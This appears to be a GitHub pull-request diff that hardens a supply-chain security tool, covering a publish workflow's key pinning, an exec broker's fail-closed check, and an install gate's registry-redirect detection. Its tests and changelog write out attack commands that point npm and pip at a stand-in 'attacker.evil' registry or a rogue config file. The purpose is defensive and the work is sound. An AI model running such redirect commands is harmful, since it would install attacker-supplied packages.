Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
42 changes: 38 additions & 4 deletions .github/workflows/publish.yml
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,13 @@ on:
jobs:
publish:
runs-on: ubuntu-latest
# Protected environment gate: NPM_TOKEN is a secret SCOPED to this environment,
# so it is released only after the environment's required-reviewer / branch
# rules pass. This is the primary defense against "anyone who can push a v* tag
# ships to npm" — configure required reviewers on the `npm-publish` environment
# in repo Settings → Environments. Without that config the token is never
# exposed (secret lives on the environment, not the repo).
environment: npm-publish
permissions:
contents: read # checkout
id-token: write # npm provenance via OIDC (SLSA attestation)
Expand Down Expand Up @@ -50,14 +57,41 @@ jobs:

- name: Import maintainer public key
# A fresh runner has an empty GPG keyring, so verify-tag would have
# nothing to check the signature against. Import the committed PUBLIC
# key (.github/maintainer-pubkey.asc — public only, safe to commit; the
# private signing key never leaves the maintainer's machine) and mark
# it ultimately trusted so a valid signature verifies cleanly.
# nothing to check against. We import the committed PUBLIC key, but we do
# NOT blindly trust it: an attacker who can push a v* tag could also swap
# .github/maintainer-pubkey.asc for their own key (the workflow runs from
# the pushed ref). So we PIN the expected fingerprint in a repo/org secret
# (MAINTAINER_KEY_FPR) — which a tag pusher cannot change — and refuse to
# trust any imported key whose fingerprint doesn't match. Fail-closed: the
# secret MUST be set (no pin ⇒ no publish).
env:
EXPECTED_FPR: ${{ secrets.MAINTAINER_KEY_FPR }}
run: |
if [ -z "$EXPECTED_FPR" ]; then
echo "::error::MAINTAINER_KEY_FPR secret is not set — refusing to publish (fail-closed). Set it to the maintainer key's full fingerprint in repo/org secrets."
exit 1
fi
gpg --batch --import .github/maintainer-pubkey.asc
# The .asc lives on the (attacker-writable) pushed ref, so it could BUNDLE
# a second, attacker key after the real one — git verify-tag / gpg --verify
# exit 0 on ANY good signature in the keyring, so a bundled key would let an
# attacker-signed tag pass. Require the keyring to contain EXACTLY ONE
# primary key, so only the pinned key can ever validate the tag.
NKEYS=$(gpg --list-keys --with-colons | grep -c '^pub:')
if [ "$NKEYS" != "1" ]; then
echo "::error::maintainer-pubkey.asc imported $NKEYS keys, expected exactly 1 — refusing (a second key may have been appended to validate a rogue tag)."
exit 1
fi
FPR=$(gpg --list-keys --with-colons | awk -F: '/^fpr:/{print $10; exit}')
# Normalize (strip spaces, upcase) and compare against the pinned value.
NORM_FPR=$(echo "$FPR" | tr -d ' ' | tr 'a-f' 'A-F')
NORM_EXP=$(echo "$EXPECTED_FPR" | tr -d ' ' | tr 'a-f' 'A-F')
if [ "$NORM_FPR" != "$NORM_EXP" ]; then
echo "::error::Imported maintainer key fingerprint ($NORM_FPR) does not match the pinned MAINTAINER_KEY_FPR — refusing to publish (the in-repo pubkey may have been swapped)."
exit 1
fi
echo "$FPR:6:" | gpg --batch --import-ownertrust
echo "Maintainer key fingerprint matches the pinned secret (single key in keyring)."

- name: Verify tag is GPG-signed
# Refuse to publish unsigned tags. Operators verify the same way via
Expand Down
25 changes: 25 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,31 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/).

## [Unreleased]

### Security — red-team critical fixes

A code-in-hand adversarial red-team of kit found three CONFIRMED critical
false-greens; all three are now closed:

- **Install-gate registry-redirect bypass.** `npm_config_registry=http://evil/ npm i lodash`
(and `PIP_INDEX_URL=…`, `--registry=…`, `-i <url>`) previously triaged the reputable
public NAME and returned **triage PASS** while the package manager pulled the code
from an attacker registry. `parseInstallCommand` now detects install-SOURCE
redirects (env vars + flags) and marks the command **unverifiable** (fail-closed)
unless the source is the known public default. `src/install-gate.ts`.
- **CI publish supply-chain: tag-push → npm as `latest`.** `publish.yml` ran from the
pushed tag's tree and imported+ultimately-trusted the in-repo `maintainer-pubkey.asc`,
so anyone who could push a `v*` tag could swap the key and ship attacker code with
valid provenance. The publish job now runs under a protected `environment:`
(`npm-publish`, gate `NPM_TOKEN` behind required reviewers) and **pins the expected
key fingerprint** in a `MAINTAINER_KEY_FPR` secret — a mismatched/ swapped in-repo
key is refused (fail-closed; the secret is required). `.github/workflows/publish.yml`.
- **exec-broker "dead code" false-green.** The resource gates only inspected declared
effect arrays, which the production caller never populated — so every op passed
regardless of policy. `brokerExec` now **fail-closed-denies a gated op that declares
no effect contract** under an active policy (a genuinely effect-free op opts in via
`declaredEffects: true`), turning a silent rubber-stamp into real enforcement.
`src/exec-broker/broker.ts`.

### Added

- **Control-plane distribution — signed policy + revocation propagation** (Pelare 2,
Expand Down
45 changes: 41 additions & 4 deletions src/exec-broker/broker.test.ts
Original file line number Diff line number Diff line change
Expand Up @@ -76,6 +76,26 @@ describe("brokerExec default-deny", () => {
});
});

describe("brokerExec fail-closed on UNDECLARED effects (closes the dead-code false-green)", () => {
it("denies a gated op that declares NO effect contract, even under a valid policy", async () => {
let ran = false;
const out = await brokerExec(CTX(), POLICY, async () => {
ran = true;
return 1;
});
assert.equal(out.ok, false);
assert.match(out.reason ?? "", /no effect contract/);
assert.equal(ran, false);
assert.equal(auditLines().at(-1)?.success, false);
});

it("allows an op that EXPLICITLY declares zero effects (declaredEffects:true)", async () => {
const out = await brokerExec(CTX({ declaredEffects: true }), POLICY, async () => "ok");
assert.equal(out.ok, true);
assert.equal(out.result, "ok");
});
});

describe("brokerExec per-gate denial", () => {
it("denies an out-of-allowlist egress target and does not run", async () => {
let ran = false;
Expand Down Expand Up @@ -127,7 +147,7 @@ describe("brokerExec fail-closed audit", () => {
// independent).
mkdirSync(join(sandbox, ".kit-audit.jsonl"));
let ran = false;
const out = await brokerExec(CTX(), POLICY, async () => {
const out = await brokerExec(CTX({ declaredEffects: true }), POLICY, async () => {
ran = true;
return 1;
});
Expand Down Expand Up @@ -174,7 +194,7 @@ describe("brokerExec happy path", () => {
});

it("audits failure and returns reason when run() throws", async () => {
const out = await brokerExec(CTX(), POLICY, async () => {
const out = await brokerExec(CTX({ declaredEffects: true }), POLICY, async () => {
throw new Error("boom");
});
assert.equal(out.ok, false);
Expand All @@ -185,7 +205,7 @@ describe("brokerExec happy path", () => {
it("composes with a runGoverned-shaped inner run (round-trips result)", async () => {
type Governed<T> = { ok: boolean; result?: T; reason?: string };
const fakeRunGoverned = async (): Promise<Governed<number>> => ({ ok: true, result: 42 });
const out = await brokerExec(CTX(), POLICY, () =>
const out = await brokerExec(CTX({ declaredEffects: true }), POLICY, () =>
fakeRunGoverned().then((o) =>
o.ok ? (o.result as number) : Promise.reject(new Error(o.reason)),
),
Expand Down Expand Up @@ -273,6 +293,23 @@ describe("runBrokered opt-in (policy file present/absent)", () => {
assert.equal(ran, false, "gate denied before running");
});

it("configured + a gated op that declares no effects → fail-closed deny (not dead-code pass)", async () => {
const pol = join(sandbox, "broker.json");
writeFileSync(
pol,
JSON.stringify({ egress: { allow: [] }, fs: { root: sandbox }, env: { declared: [] } }),
);
process.env.KIT_EXEC_BROKER_POLICY = pol;
let ran = false;
const out = await runBrokered(CTX(), async () => {
ran = true;
return 1;
});
assert.equal(out.ok, false);
assert.match(out.reason ?? "", /no effect contract/);
assert.equal(ran, false);
});

it("configured but MALFORMED policy → fail-closed deny (never silently off)", async () => {
const pol = join(sandbox, "broker-bad.json");
writeFileSync(pol, "{ not valid json");
Expand All @@ -294,7 +331,7 @@ describe("brokerExec is offline", () => {
throw new Error("network access attempted");
}) as typeof fetch;
try {
const out = await brokerExec(CTX(), POLICY, async () => "ok");
const out = await brokerExec(CTX({ declaredEffects: true }), POLICY, async () => "ok");
assert.equal(out.ok, true);
assert.equal(out.result, "ok");
} finally {
Expand Down
30 changes: 30 additions & 0 deletions src/exec-broker/broker.ts
Original file line number Diff line number Diff line change
Expand Up @@ -40,6 +40,25 @@ export interface BrokerContext extends OperationContext {
fsWrites?: string[];
/** Environment variable names this operation needs. */
envRequested?: string[];
/**
* Explicit assertion that this operation declares its effect contract — set it
* `true` to declare "no egress/fs/env effects" (an op the broker can safely run
* with empty gates). Providing any of the arrays above ALSO counts as declaring.
* Without a declaration, a gated op is DENIED under an active policy (fail-closed):
* the broker cannot mediate effects it was never told about, and silently passing
* it is the "gates are dead code" false-green the audit flagged.
*/
declaredEffects?: boolean;
}

/** Did the caller declare this op's effect contract (arrays present, or the flag)? */
function hasDeclaredEffects(c: BrokerContext): boolean {
return (
c.declaredEffects === true ||
c.egressTargets !== undefined ||
c.fsWrites !== undefined ||
c.envRequested !== undefined
);
}

export interface BrokerOutcome<T> {
Expand Down Expand Up @@ -69,6 +88,17 @@ export async function brokerExec<T>(
return { ok: false, reason };
}

// Fail-closed on UNDECLARED effects: with a policy active, an op that never
// declared what it touches cannot be mediated, so it is DENIED rather than
// waved through with trivially-empty gates (the false-green the audit found).
// A caller with genuinely no effects opts in explicitly via declaredEffects:true.
if (!hasDeclaredEffects(context)) {
const reason =
"exec-broker: operation declares no effect contract (egress/fs/env) — cannot mediate (fail-closed)";
await audit(context, false, reason);
return { ok: false, reason };
}

// Collect denials across all three gates before deciding.
const denials = collectDenials(context, policy);

Expand Down
70 changes: 70 additions & 0 deletions src/install-gate.test.ts
Original file line number Diff line number Diff line change
Expand Up @@ -162,6 +162,76 @@ describe("parseInstallCommand — bypass resistance (security)", () => {
assert.deepEqual(parseInstallCommand("sudo npm i evil").refs, ["npm:evil"]);
});

it("CRIT-REGISTRY: a registry/index redirect is fail-closed (triage-PASS-while-installing-evil bypass)", () => {
// env-var redirects → the triaged NAME isn't what installs
for (const cmd of [
"npm_config_registry=http://attacker.evil/ npm i lodash",
"NPM_CONFIG_REGISTRY=http://attacker.evil/ npm i lodash",
"PIP_INDEX_URL=http://attacker.evil/ pip install requests",
"PIP_EXTRA_INDEX_URL=http://attacker.evil/ pip install requests",
"UV_INDEX_URL=http://attacker.evil/ pip install requests",
]) {
const p = parseInstallCommand(cmd);
assert.equal(p.isInstall, true, cmd);
assert.ok(
p.unverifiable.some((u) => u.startsWith("alt-registry:")),
`must be unverifiable: ${cmd}`,
);
}
// flag-form redirects (equals and separate value), npm + pip
for (const cmd of [
"npm i lodash --registry=http://attacker.evil/",
"npm i lodash --registry http://attacker.evil/",
"pip install requests -i http://attacker.evil/",
"pip install requests --index-url http://attacker.evil/",
]) {
const p = parseInstallCommand(cmd);
assert.ok(
p.unverifiable.some((u) => u.startsWith("alt-registry:")),
`must be unverifiable: ${cmd}`,
);
}
// indirect + less-obvious redirect vectors (2nd red-team pass)
for (const cmd of [
"YARN_NPM_REGISTRY_SERVER=http://attacker.evil/ yarn add lodash", // yarn berry
"NPM_CONFIG_USERCONFIG=/tmp/evil.npmrc npm i lodash", // attacker .npmrc
"NPM_CONFIG_GLOBALCONFIG=/tmp/evil.npmrc npm i lodash",
"PIP_CONFIG_FILE=/tmp/evil.conf pip install requests", // attacker pip.conf
"env 'npm_config_@scope:registry=http://attacker.evil/' npm i @scope/pkg", // scoped
]) {
const p = parseInstallCommand(cmd);
assert.ok(
p.unverifiable.some((u) => u.startsWith("alt-registry:")),
`must be unverifiable: ${cmd}`,
);
}
});

it("CRIT-REGISTRY: a special-char env assignment can't hide the install entirely", () => {
// `env 'a:b=1' npm i evil` left `a:b=1` as argv[0] before the broadened strip,
// so NO matcher fired and the install was fully undetected (worst case).
assert.deepEqual(parseInstallCommand("env 'a:b=1' npm i evil".replace(/'/g, "")).refs, [
"npm:evil",
]);
assert.equal(parseInstallCommand("a:b=1 npm i evil").isInstall, true);
});

it("CRIT-REGISTRY: the canonical public registry/index is NOT flagged (no false-positive)", () => {
assert.deepEqual(
parseInstallCommand("npm_config_registry=https://registry.npmjs.org npm i lodash").refs,
["npm:lodash"],
);
assert.deepEqual(
parseInstallCommand("npm_config_registry=https://registry.npmjs.org npm i lodash")
.unverifiable,
[],
);
assert.deepEqual(
parseInstallCommand("pip install requests -i https://pypi.org/simple").unverifiable,
[],
);
});

it("CRIT-2: package runners (npm exec / pnpm dlx / yarn dlx / bun x) are gated", () => {
assert.deepEqual(parseInstallCommand("npm exec evil").refs, ["npm:evil"]);
assert.deepEqual(parseInstallCommand("pnpm dlx evil").refs, ["npm:evil"]);
Expand Down
61 changes: 58 additions & 3 deletions src/install-gate.ts
Original file line number Diff line number Diff line change
Expand Up @@ -58,7 +58,11 @@ function stripCommandPrefix(tokens: string[]): string[] {
let i = 0;
while (i < tokens.length) {
const t = tokens[i];
if (/^[A-Za-z_][A-Za-z0-9_]*=/.test(t)) {
// Any leading `NAME=VALUE` is a shell env assignment — including names with
// non-word chars (`env 'a:b=1' npm i evil`, `npm_config_@scope:registry=…`),
// which a stricter [A-Za-z_]\w* regex left as argv[0], hiding the install
// entirely. Broadened so no bogus assignment can mask the package manager.
if (/^[^\s=]+=/.test(t)) {
i++; // VAR=value env assignment
continue;
}
Expand Down Expand Up @@ -87,6 +91,42 @@ function nestedCommands(command: string): string[] {
return out;
}

// Env vars / flags that REDIRECT where a package manager fetches from. If any is
// present (pointing anywhere but a known default), the reputable public NAME we
// would triage is NOT what gets installed — so the whole command is unverifiable
// (fail-closed), closing the "triage PASS while pulling attacker code" bypass.
const SOURCE_ENV_RE =
/^(npm_config_.*registry|npm_config_userconfig|npm_config_globalconfig|.*_registry|yarn_npm_registry_server|pip_index_url|pip_extra_index_url|pip_config_file|uv_index.*|uv_default_index|bun_config_registry)$/i;
const SOURCE_FLAG_RE = /^(--registry|--index-url|--index|--extra-index-url|--default-index|-i)$/i;
const DEFAULT_SOURCE_RE =
/^https?:\/\/(registry\.npmjs\.org|registry\.yarnpkg\.com|pypi\.org|files\.pythonhosted\.org)(\/|$)/i;

/**
* Detect an install-SOURCE redirect (alternate registry / index) in a segment's
* RAW tokens (before `stripCommandPrefix` drops the env assignments). Returns the
* offending token, or null when none / only the known public default. A value
* pointing at the canonical registry is benign; anything else → fail-closed.
*/
function sourceRedirect(rawTokens: string[]): string | null {
for (let i = 0; i < rawTokens.length; i++) {
const t = rawTokens[i];
const env = t.match(/^([^\s=]+)=(.*)$/);
if (env && SOURCE_ENV_RE.test(env[1])) {
if (env[2] && !DEFAULT_SOURCE_RE.test(env[2])) return t;
continue;
}
const flagEq = t.match(
/^(--registry|--index-url|--index|--extra-index-url|--default-index)=(.*)$/i,
);
if (flagEq) {
if (!DEFAULT_SOURCE_RE.test(flagEq[2])) return t;
continue;
}
if (SOURCE_FLAG_RE.test(t) && !DEFAULT_SOURCE_RE.test(rawTokens[i + 1] ?? "")) return t;
}
return null;
}

/**
* A token is a LOCAL target (the user's own code / a file), not a registry
* package — skip it (there is no reputation to triage). Covers `.`/`..`, relative
Expand Down Expand Up @@ -203,16 +243,31 @@ export function parseInstallCommand(command: string): InstallProbe {

/** Match one shell segment against the package-manager matchers, mutating `probe`. */
function scanSegment(segment: string, probe: InstallProbe): void {
const tokens = stripCommandPrefix(segment.trim().split(/\s+/).filter(Boolean).map(stripQuotes));
const raw = segment.trim().split(/\s+/).filter(Boolean).map(stripQuotes);
const tokens = stripCommandPrefix(raw);
if (tokens.length === 0) return;
for (const m of MATCHERS) {
const start = m.argStart(tokens);
if (start < 0) continue;
const args = tokens.slice(start).filter((t) => !isFlag(t));
// Build the package args, skipping flags AND the VALUE token of a source flag
// (`-i URL`, `--registry URL`) so the URL is never mis-read as a package name.
const rest = tokens.slice(start);
const args: string[] = [];
for (let i = 0; i < rest.length; i++) {
if (SOURCE_FLAG_RE.test(rest[i])) {
i++; // also skip its value
continue;
}
if (!isFlag(rest[i])) args.push(rest[i]);
}
// No package args → reinstall of already-declared deps (or a runner with no
// pkg). Not an "add"; don't gate.
if (args.length === 0) break;
probe.isInstall = true;
// A registry/index redirect means the triaged NAME isn't what installs →
// fail-closed (mark unverifiable) even if every name is reputable.
const redirect = sourceRedirect(raw);
if (redirect) probe.unverifiable.push(`alt-registry:${redirect}`);
for (const arg of args) {
if (isLocalTarget(arg)) continue; // user's own code — nothing to triage
const name = m.toName(arg);
Expand Down
Loading